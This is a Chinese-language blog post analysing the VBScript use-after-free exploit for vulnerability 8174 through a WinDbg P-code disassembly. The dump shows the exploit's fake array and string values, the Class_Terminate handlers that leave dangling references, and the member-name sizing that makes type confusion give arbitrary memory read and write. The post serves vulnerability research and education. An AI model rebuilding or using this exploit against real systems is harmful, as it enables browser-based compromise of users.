0x00 前言
上一篇在8174中,尽管通过windbg和源码分析中,我们大致了解了漏洞原理及其利用过程,但是,细想起来,对Vbscript解释器在类及其对象的内存管理是非常陌生的,以至于过了几天,想不起来这个漏洞的原理以及分析过程,所以,我们很有必要对Vbs的解析器内部过程进行分析。
传送门:
0x01 概念
众所周知,采用VB编写的应用程序有两种编译方式,一种是Native Code方式,另一种就是P-code方式。事实上,VB 4.0以前只采用P-code编译,VB Native Code是在VB 5.0以后发展起来的,其目的是为了在一定程度上改善VB应用程序的运行速度。VB P-code的运行速度较慢,这是由它本身的运行机制所决定的。
P-code,即Pseudo Code(伪代码),这一概念最早出现在Pascal编译器中,它是为了提供跨平台可移植性而产生的,实现这一编译机制的Pascal编译器被称为”Pascal P Compiler”。Sun公司在其推出的Java语言上也成功地实现了这种机制。Java程序的伪编译代码由一系列代表一定意义的字节码(byte code)组成,它们同属于一套特定的指令集,这种字节码不能由不同的CPU直接执行,而是要通过特殊的解释器翻译为CPU可以识别的指令才能执行,这种解释器就是我们常说的”虚拟机”。
只要在不同的平台上提供虚拟机,把字节码翻译为对应的CPU指令集,也就实现了所谓的跨平台特性。Microsoft推出的VB P-code,实际上也是一组自定义的指令集,必须通过基于堆栈的虚拟机翻译为80X86上的指令集才能执行,担任虚拟机任务的就是msvbvm50.dll和msvbvm60.dll这两个动态链接库文件。由于在文件执行过程中多出了这一个解释的步骤,自然要影响到其执行的速度。正如我们所看到的,VB P-code并没有实现所谓的跨平台运行特性,这对于Pseudo这个词的起源是不恰当的;另一方面,采用P-code形式编译的VB应用程序的体积要小于采用Native Code形式编译的同样程序(这是由于P-code指令集的每一条指令对应于一组80X86指令所完成的任务),所以VB P-code实际上意味着VB Packed-code(压缩代码),用以强调VB P-code程序较小的代码体积。
vbs引擎执行脚本的大致流程是先将脚本内容解析成相应的opcode字节码(该字节码可以解析成P-code(类似于二进制PE文件的反汇编)便于调试人员静态分析其执行流程),然后虚拟机中的CScriptRuntime类将会接管这些字节码并基于特定的堆栈规则开始解释执行。通过研究相应的P-code代码,可以让我们更直观地去理解vbs虚拟机的一些机制。
0x02 8174的p-code代码及分析
0:000> sxe ld:Vbscript
0:000> g
eax=00000000 ebx=00000000 ecx=00000074 edx=00437a48 esi=7ffd9000 edi=01f2c1ec
eip=77b970b4 esp=01f2c104 ebp=01f2c158 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
77b970b4 c3 ret
2:036> ld vbscript
Symbols loaded for vbscript
2:036> bp CScriptRuntime::RunNoEH
2:036> bl
0 e Disable Clear 6aa427fe 0001 (0001) 2:**** vbscript!CScriptRuntime::RunNoEH
2:036> g
Breakpoint 0 hit
eax=01f2d2f0 ebx=01f2d43c ecx=01f2d32c edx=00000000 esi=01f2d32c edi=01f2d43c
eip=6aa427fe esp=01f2d2d8 ebp=01f2d31c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!CScriptRuntime::RunNoEH:
6aa427fe 8bff mov edi,edi
2:036> !load pykd.pyd //
2:036> !py C:\Users\xutianyao\Desktop\VBscriptInternals-master\kl_vbs_disasm_windbg.py
Global code [max stack = 2]:
tmp count = 14
Pcode:
027E4DA8 - 0000 OP_FnBind 'tostring' 1 FALSE
027E4DB2 - 000A OP_FnBind 'addr2str' 2 FALSE
027E4DBC - 0014 OP_FnBind 'make_ntcontinue_bytes' 3 FALSE
027E4DC6 - 001E OP_FnBind 'make_virtualprotect_bytes' 4 FALSE
027E4DD0 - 0028 OP_FnBind 'make_final_bytes' 5 FALSE
027E4DDA - 0032 OP_FnBind 'trigger_var_clear' 6 FALSE
027E4DE4 - 003C OP_FnBind 'shellcode' 7 FALSE
027E4DEE - 0046 OP_FnBind 'GetUint32' 8 FALSE
027E4DF8 - 0050 OP_FnBind 'read_unit32_low_four' 9 FALSE
027E4E02 - 005A OP_FnBind 'read_unit32_low_two' 10 FALSE
027E4E0C - 0064 OP_FnBind 'cmp_str' 11 FALSE
027E4E16 - 006E OP_FnBind 'GetBaseAddrByPoiAddr' 12 FALSE
027E4E20 - 0078 OP_FnBind 'GetModuleFromImport' 13 FALSE
027E4E2A - 0082 OP_FnBind 'GetProcAddress' 14 FALSE
027E4E34 - 008C OP_FnBind 'read_longint' 15 FALSE
027E4E3E - 0096 OP_FnBind 'set_need_longint' 16 FALSE
027E4E48 - 00A0 OP_FnBind 'EmptyFunc' 17 FALSE
027E4E52 - 00AA OP_FnBind 'exp_c' 18 FALSE
027E4E5C - 00B4 OP_FnBind 'exp_a' 19 FALSE
027E4E66 - 00BE OP_FnBind 'exp_b' 20 FALSE
027E4E70 - 00C8 OP_FnBind 'StartExploit' 21 FALSE
027E4E7A - 00D2 OP_FnBind 'class_getp_b' 22 TRUE
027E4E84 - 00DC OP_FnBind 'class_getp_a' 24 TRUE
027E4E8E - 00E6 OP_FnBind 'class_fun_a' 26 TRUE
027E4E98 - 00F0 OP_FnBind 'class_setprop_a' 29 TRUE
027E4EA2 - 00FA OP_FnBind 'empty_class' 32 TRUE
027E4EAC - 0104 OP_FnBind 'class_ter_b' 33 TRUE
027E4EB6 - 010E OP_FnBind 'class_ter_a' 35 TRUE
027E4EC0 - 0118 OP_VarBind 'ab' 1 FALSE
027E4EC8 - 0120 OP_VarBind 'wild_ref_arr_a' 2 FALSE
027E4ED0 - 0128 OP_VarBind 'wild_ref_arr_b' 3 FALSE
027E4ED8 - 0130 OP_VarBind 'idx' 4 FALSE
027E4EE0 - 0138 OP_VarBind 'aa' 5 FALSE
027E4EE8 - 0140 OP_VarBind 'fake_array' 6 FALSE
027E4EF0 - 0148 OP_VarBind 'fake_str' 7 FALSE
027E4EF8 - 0150 OP_VarBind 'rw_var' 8 FALSE
027E4F00 - 0158 OP_VarBind 'setprop_a_1' 9 FALSE
027E4F08 - 0160 OP_VarBind 'setprop_a_2' 10 FALSE
027E4F10 - 0168 OP_VarBind 'getp_a' 11 FALSE
027E4F18 - 0170 OP_VarBind 'getp_b' 12 FALSE
027E4F20 - 0178 OP_VarBind 'api_NtContinue' 13 FALSE
027E4F28 - 0180 OP_VarBind 'api_VirtualProtect' 14 FALSE
***BOS(12,52)*** Dim wild_ref_arr_a(6), wild_ref_arr_b(6) *****
027E4F30 - 0188 OP_Bos1 0
027E4F32 - 018A OP_IntConst 6
027E4F34 - 018C OP_ArrLclDim 2 1
027E4F39 - 0191 OP_IntConst 6
027E4F3B - 0193 OP_ArrLclDim 3 1
***BOS(63,73)*** Dim aa(40) *****
027E4F40 - 0198 OP_Bos1 1
027E4F42 - 019A OP_IntConst 40
027E4F44 - 019C OP_ArrLclDim 5 1
***BOS(203,221)*** rw_var = 195948557 *****
027E4F49 - 01A1 OP_Bos1 2
027E4F4B - 01A3 OP_LngConst 195948557
027E4F50 - 01A8 OP_LocalSt 8
***BOS(225,240)*** idx = 195890093 *****
027E4F53 - 01AB OP_Bos1 3
027E4F55 - 01AD OP_LngConst 195890093
027E4F5A - 01B2 OP_LocalSt 4
***BOS(244,341)*** fake_array = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") *****
027E4F5D - 01B5 OP_Bos1 4
027E4F5F - 01B7 OP_StrConst '%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000'
027E4F64 - 01BC OP_CallNmdAdr 'Unescape' 1
027E4F6B - 01C3 OP_LocalSt 6
***BOS(343,416)*** fake_str = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") *****
027E4F6E - 01C6 OP_Bos1 5
027E4F70 - 01C8 OP_StrConst '%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000'
027E4F75 - 01CD OP_CallNmdAdr 'Unescape' 1
027E4F7C - 01D4 OP_LocalSt 7
***BOS(8257,8286)*** Set getp_a = New class_getp_a *****
027E4F7F - 01D7 OP_Bos1 6
027E4F81 - 01D9 OP_InitClass 'class_getp_a'
027E4F86 - 01DE OP_LocalSet 11
***BOS(8288,8317)*** Set getp_b = New class_getp_b *****
027E4F89 - 01E1 OP_Bos1 7
027E4F8B - 01E3 OP_InitClass 'class_getp_b'
027E4F90 - 01E8 OP_LocalSet 12
***BOS(10047,10059)*** StartExploit *****
027E4F93 - 01EB OP_Bos1 8
027E4F95 - 01ED OP_CallNmdVoid 'StartExploit' 0
027E4F9C - 01F4 OP_Bos0
027E4F9D - 01F5 OP_FuncEnd
Function 1 ('tostring') [max stack = 3]://函数1 tostring
arg count = 2
arg -1 = val Variant 'Number'
arg -2 = val Variant 'Length'
lcl count = 0
Pcode:
***BOS(470,487)*** str = Hex(Number) *****
027E4FE0 - 0000 OP_Bos1 0
027E4FE2 - 0002 OP_LocalAdr -1
027E4FE5 - 0005 OP_CallNmdAdr 'Hex' 1
027E4FEC - 000C OP_NamedSt 'str'
***BOS(490,515)*** If Len(str) < Length Then *****
027E4FF1 - 0011 OP_Bos1 1
027E4FF3 - 0013 OP_NamedAdr 'str'
027E4FF8 - 0018 OP_CallNmdAdr 'Len' 1
027E4FFF - 001F OP_LocalAdr -2
027E5002 - 0022 OP_LT
027E5003 - 0023 OP_JccFalse 0057
***BOS(519,560)*** str = String(Length - Len(str), "0") &str *****
027E5008 - 0028 OP_Bos1 2
027E500A - 002A OP_LocalAdr -2
027E500D - 002D OP_NamedAdr 'str'
027E5012 - 0032 OP_CallNmdAdr 'Len' 1
027E5019 - 0039 OP_Sub
027E501A - 003A OP_StrConst '0'
027E501F - 003F OP_CallNmdAdr 'String' 2
027E5026 - 0046 OP_NamedAdr 'str'
027E502B - 004B OP_Conc
027E502C - 004C OP_NamedSt 'str'
027E5031 - 0051 OP_Bos0
027E5032 - 0052 OP_Jmp 006D
***BOS(571,595)*** str = Right(str, Length) *****
027E5037 - 0057 OP_Bos1 3
027E5039 - 0059 OP_NamedAdr 'str'
027E503E - 005E OP_LocalAdr -2
027E5041 - 0061 OP_CallNmdAdr 'Right' 2
027E5048 - 0068 OP_NamedSt 'str'
***BOS(607,621)*** tostring = str *****
027E504D - 006D OP_Bos1 4
027E504F - 006F OP_NamedAdr 'str'
027E5054 - 0074 OP_LocalSt 0
***BOS(623,635)*** End Function *****
027E5057 - 0077 OP_Bos1 5
027E5059 - 0079 OP_FnReturn
027E505A - 007A OP_Bos0
027E505B - 007B OP_FuncEnd
...
//此处省略很多个函数
...
Function 24 ('class_getp_a') [max stack = 1]://函数23 class_getp_a 混淆类a
arg count = 0
lcl count = 0
Pcode:
027E61C4 - 0000 OP_CreateClass 'class_getp_a' //构造函数
027E61C9 - 0005 OP_FnBindEx 'p' 25 TRUE //成员函数p,默认属性获取函数已成功绑定
027E61D3 - 000F OP_LocalSet 0
027E61D6 - 0012 OP_FnReturn //函数返回
Function 25 ('p') [max stack = 3]: //统计该类中最大堆栈层数为3 类似于函数嵌套层数
arg count = 0
lcl count = 1
lcl 1 = Variant 'fun' //一个局部变量 Variant类型的 fun
tmp count = 4 //4个临时“变量” 循环计数i 始末索引0,6,步数1
Pcode:
***BOS(7710,7742)*** P = CDbl("174088534690791e-324") *****
027E6210 - 0000 OP_Bos1 0
027E6212 - 0002 OP_StrConst '174088534690791e-324' //取出字符串常量 将字符串’174088534690791e-324’转换为VARIANT结构
027E6217 - 0007 OP_CallNmdAdr 'CDbl' 1 //调用CDbl函数将字符串转换为双精度值
027E621E - 000E OP_LocalSt 0 //存入返回值p
***BOS(7748,7760)*** For i=0 To 6 *****
027E6221 - 0011 OP_Bos1 1
027E6223 - 0013 OP_IntConst 0
027E6225 - 0015 OP_IntConst 6
027E6227 - 0017 OP_IntConst 1
027E6229 - 0019 OP_ForInitNamed 'i' 5 4 //循环所需变量初始化
027E6232 - 0022 OP_JccFalse 0047 //循环终止 跳转到0x47处
***BOS(7765,7786)*** wild_ref_arr_a(i) = 0 *****
027E6237 - 0027 OP_Bos1 2
027E6239 - 0029 OP_IntConst 0 //常整数 0
027E623B - 002B OP_NamedAdr 'i' //取出索引i的Position
027E6240 - 0030 OP_CallNmdSt 'wild_ref_arr_a' 1 //将0赋值给wild_ref_arr_a(i)
***BOS(7790,7794)*** Next *****
027E6247 - 0037 OP_Bos1 3
027E6249 - 0039 OP_ForNextNamed 'i' 5 4
027E6252 - 0042 OP_JccTrue 0027 //跳转到循环开始
***BOS(7798,7823)*** Set fun = New class_fun_a *****
027E6257 - 0047 OP_Bos1 4
027E6259 - 0049 OP_InitClass 'class_fun_a'
027E625E - 004E OP_LocalSet 1
***BOS(7827,7847)*** fun.mem = fake_array *****
027E6261 - 0051 OP_Bos1 5
027E6263 - 0053 OP_NamedAdr 'fake_array' //先取出fake_array全局变量的值
027E6268 - 0058 OP_LocalAdr 1 //找到栈中1的变量fun
027E626B - 005B OP_MemSt 'mem' //memstore 将fake_array保存到fun结构的mem成员
***BOS(7853,7865)*** For i=0 To 6 *****
027E6270 - 0060 OP_Bos1 6
027E6272 - 0062 OP_IntConst 0
027E6274 - 0064 OP_IntConst 6
027E6276 - 0066 OP_IntConst 1
027E6278 - 0068 OP_ForInitNamed 'i' 3 2
027E6281 - 0071 OP_JccFalse 0097
***BOS(7870,7897)*** Set wild_ref_arr_a(i) = fun *****
027E6286 - 0076 OP_Bos1 7
027E6288 - 0078 OP_LocalAdr 1
027E628B - 007B OP_NamedAdr 'i'
027E6290 - 0080 OP_CallNmdSet 'wild_ref_arr_a' 1
***BOS(7901,7905)*** Next *****
027E6297 - 0087 OP_Bos1 8
027E6299 - 0089 OP_ForNextNamed 'i' 3 2
027E62A2 - 0092 OP_JccTrue 0076
***BOS(7910,7922)*** End Property *****
027E62A7 - 0097 OP_Bos1 9
027E62A9 - 0099 OP_FnReturn
027E62AA - 009A OP_Bos0
027E62AB - 009B OP_FuncEnd
Function 26 ('class_fun_a') [max stack = 1]://函数26 class_fun_a的构造函数
arg count = 0
lcl count = 0
Pcode:
027E62DC - 0000 OP_CreateClass 'class_fun_a' //构造函数
027E62E1 - 0005 OP_FnBindEx 'Read_Memory' 27 FALSE //成员函数
027E62EB - 000F OP_FnBindEx 'SPP' 28 FALSE //成员函数
027E62F5 - 0019 OP_CreateVar 'mem' FALSE //成员变量
027E62FB - 001F OP_LocalSet 0
027E62FE - 0022 OP_FnReturn
Function 27 ('Read_Memory') [max stack = 2]://27
arg count = 0
lcl count = 0
Pcode:
***BOS(7488,7523)*** Read_Memory = LenB(mem(rw_var + 8)) *****
027E6330 - 0000 OP_Bos1 0
027E6332 - 0002 OP_NamedAdr 'rw_var'
027E6337 - 0007 OP_IntConst 8
027E6339 - 0009 OP_Add
027E633A - 000A OP_CallNmdAdr 'mem' 1
027E6341 - 0011 OP_CallNmdAdr 'LenB' 1
027E6348 - 0018 OP_LocalSt 0
***BOS(7556,7568)*** End Function *****
027E634B - 001B OP_Bos1 1
027E634D - 001D OP_FnReturn
027E634E - 001E OP_Bos0
027E634F - 001F OP_FuncEnd
Function 28 ('SPP') [max stack = 0]://28
arg count = 0
lcl count = 0
Pcode:
***BOS(7588,7600)*** End Function *****
027E6380 - 0000 OP_Bos1 0
027E6382 - 0002 OP_FnReturn
027E6383 - 0003 OP_Bos0
027E6384 - 0004 OP_FuncEnd
Function 29 ('class_setprop_a') [max stack = 1]://29 class_setprop_a的构造函数
arg count = 0
lcl count = 0
Pcode:
027E63B8 - 0000 OP_CreateClass 'class_setprop_a' //构造函数 调用VBScriptClass::Create函数来创建VBScriptClass对象。
027E63BD - 0005 OP_FnBindEx 'p' 30 FALSE //成员函数p,FALSE表示function bind的结果,绑定失败VBS虚拟机会调用VbscriptClass::CreateVar创建相应成员变量
027E63C7 - 000F OP_FnBindEx 'SetProp' 31 FALSE //成员函数 SetProp
027E63D1 - 0019 OP_CreateVar 'mem' FALSE //成员变量mem
027E63D7 - 001F OP_LocalSet 0 //设置返回地址 退栈操作
027E63DA - 0022 OP_FnReturn //含糊返回
Function 30 ('p') [max stack = 0]:
arg count = 0 //函数p参数数量
lcl count = 0 //函数p局部变量数量
Pcode:
***BOS(7236,7248)*** End Function *****
027E640C - 0000 OP_Bos1 0 //描述当前函数代码块
027E640E - 0002 OP_FnReturn //push返回地址
027E640F - 0003 OP_Bos0 //pop返回地址
027E6410 - 0004 OP_FuncEnd //函数返回结束
Function 31 ('SetProp') [max stack = 1]:
arg count = 1 //参数数量为1
arg -1 = ref Variant 'value' //形参value位于arg -1的位置,即返回地址之上,,类似于intel32汇编中的先压入返回地址然后压入参数
lcl count = 0 //无局部变量
Pcode:
***BOS(7283,7294)*** mem = Value *****
027E644C - 0000 OP_Bos1 0
027E644E - 0002 OP_LocalAdr -1 //push arg-1数据value
027E6451 - 0005 OP_NamedSt 'mem' //上一步push的value保存在mem中
***BOS(7298,7309)*** SetProp = 0 *****
027E6456 - 000A OP_Bos1 1
027E6458 - 000C OP_IntConst 0 //压入常数0
027E645A - 000E OP_LocalSt 0//将0保存到argv位置,即设置函数Setprop为0
***BOS(7312,7324)*** End Function *****
027E645D - 0011 OP_Bos1 2
027E645F - 0013 OP_FnReturn //push返回地址
027E6460 - 0014 OP_Bos0
027E6461 - 0015 OP_FuncEnd //函数返回结束
Function 32 ('empty_class') [max stack = 1]:
arg count = 0
lcl count = 0
Pcode:
027E6494 - 0000 OP_CreateClass 'empty_class'
027E6499 - 0005 OP_LocalSet 0
027E649C - 0008 OP_FnReturn
Function 33 ('class_ter_b') [max stack = 1]:
arg count = 0
lcl count = 0
Pcode:
027E64D0 - 0000 OP_CreateClass 'class_ter_b'
027E64D5 - 0005 OP_FnBindEx 'Class_Terminate' 34 TRUE
027E64DF - 000F OP_LocalSet 0
027E64E2 - 0012 OP_FnReturn
Function 34 ('Class_Terminate') [max stack = 2]:
flags = (4002) sub private
arg count = 0
lcl count = 0
Pcode:
***BOS(7069,7100)*** Set wild_ref_arr_b(idx) = ab(1) *****
027E6514 - 0000 OP_Bos1 0
027E6516 - 0002 OP_IntConst 1
027E6518 - 0004 OP_CallNmdAdr 'ab' 1
027E651F - 000B OP_NamedAdr 'idx'
027E6524 - 0010 OP_CallNmdSet 'wild_ref_arr_b' 1
***BOS(7104,7117)*** idx = idx + 1 *****
027E652B - 0017 OP_Bos1 1
027E652D - 0019 OP_NamedAdr 'idx'
027E6532 - 001E OP_IntConst 1
027E6534 - 0020 OP_Add
027E6535 - 0021 OP_NamedSt 'idx'
***BOS(7121,7130)*** ab(1) = 1 *****
027E653A - 0026 OP_Bos1 2
027E653C - 0028 OP_IntConst 1
027E653E - 002A OP_IntConst 1
027E6540 - 002C OP_CallNmdSt 'ab' 1
***BOS(7133,7140)*** End Sub *****
027E6547 - 0033 OP_Bos1 3
027E6549 - 0035 OP_FuncEnd
Function 35 ('class_ter_a') [max stack = 1]:
arg count = 0
lcl count = 0
Pcode:
027E657C - 0000 OP_CreateClass 'class_ter_a'
027E6581 - 0005 OP_FnBindEx 'Class_Terminate' 36 TRUE
027E658B - 000F OP_LocalSet 0
027E658E - 0012 OP_FnReturn
Function 36 ('Class_Terminate') [max stack = 2]:
flags = (4002) sub private
arg count = 0
lcl count = 0
Pcode:
***BOS(6930,6961)*** Set wild_ref_arr_a(idx) = ab(1) *****
027E65C0 - 0000 OP_Bos1 0
027E65C2 - 0002 OP_IntConst 1
027E65C4 - 0004 OP_CallNmdAdr 'ab' 1
027E65CB - 000B OP_NamedAdr 'idx'
027E65D0 - 0010 OP_CallNmdSet 'wild_ref_arr_a' 1
***BOS(6965,6978)*** idx = idx + 1 *****
027E65D7 - 0017 OP_Bos1 1
027E65D9 - 0019 OP_NamedAdr 'idx'
027E65DE - 001E OP_IntConst 1
027E65E0 - 0020 OP_Add
027E65E1 - 0021 OP_NamedSt 'idx'
***BOS(6982,6991)*** ab(1) = 1 *****
027E65E6 - 0026 OP_Bos1 2
027E65E8 - 0028 OP_IntConst 1
027E65EA - 002A OP_IntConst 1
027E65EC - 002C OP_CallNmdSt 'ab' 1
***BOS(6994,7001)*** End Sub *****
027E65F3 - 0033 OP_Bos1 3
027E65F5 - 0035 OP_FuncEnd
注意class_fun_a类和class_setprop_a类
上一篇中提到,卡巴斯基如下的公式:
//VVAL结构占用的数据量使用公式0x32 + UTF-16中变量名的长度计算。
class_setprop_a
[+0x00] VVAL 'p'
size:0x32 + len('p')=0x34
[+0x34]
下图显示了在分配’class_fun_a’代替setprop_a_1’时,’setprop_a_1’’变量相对于class_fun_a’变量的位置。
0xB8 - 0xAC =C
String类型的对象被转换为Array类型的对象,之前被认为是字符串的数据被视为Array控件结构,并被允许访问进程的整个地址空间。
同样的,当被修改为0x0003即int类型时,可以访问我们任意赋值的地址,而前面修改的Array类型可以保证读写任意大小内存。
还有一个疑问是,为什么Vbscript中关于类及其成员的大小计算公式是0x32+双字成员名称大小,我们需要写一个小demo来测试一哈:
1 | <html lang="en"> |
对应的p-code码如下所示:
1 | 0:000> ld vbscript |
分析p-code码,感觉还不太够,关于类分配的分配过程,我们还需要看看是在哪里进行分配的,如何分配空间的。
逆向Vbscript模块,经过大佬指点和分析,通过vbscript!CScriptRuntime::RunNoEH的一系列调用,最终在vbscript!NameList::FCreateVval函数中,进行分配。
逆向该函数,可以看到卡巴斯基分析中公式的来源,恍然大悟。windbg中调试,可以看到当前成员名为SPP,长度为3
1 | 0:005> dd ebp+8 |
也即就是说,在8174的利用代码中,当我们随意设置setprop_a类成员名和class_fun_a成员名,使得其对象总大小偏移不等于0xc,那么类型覆盖会出错,即不能成功利用。测试后,果真如此。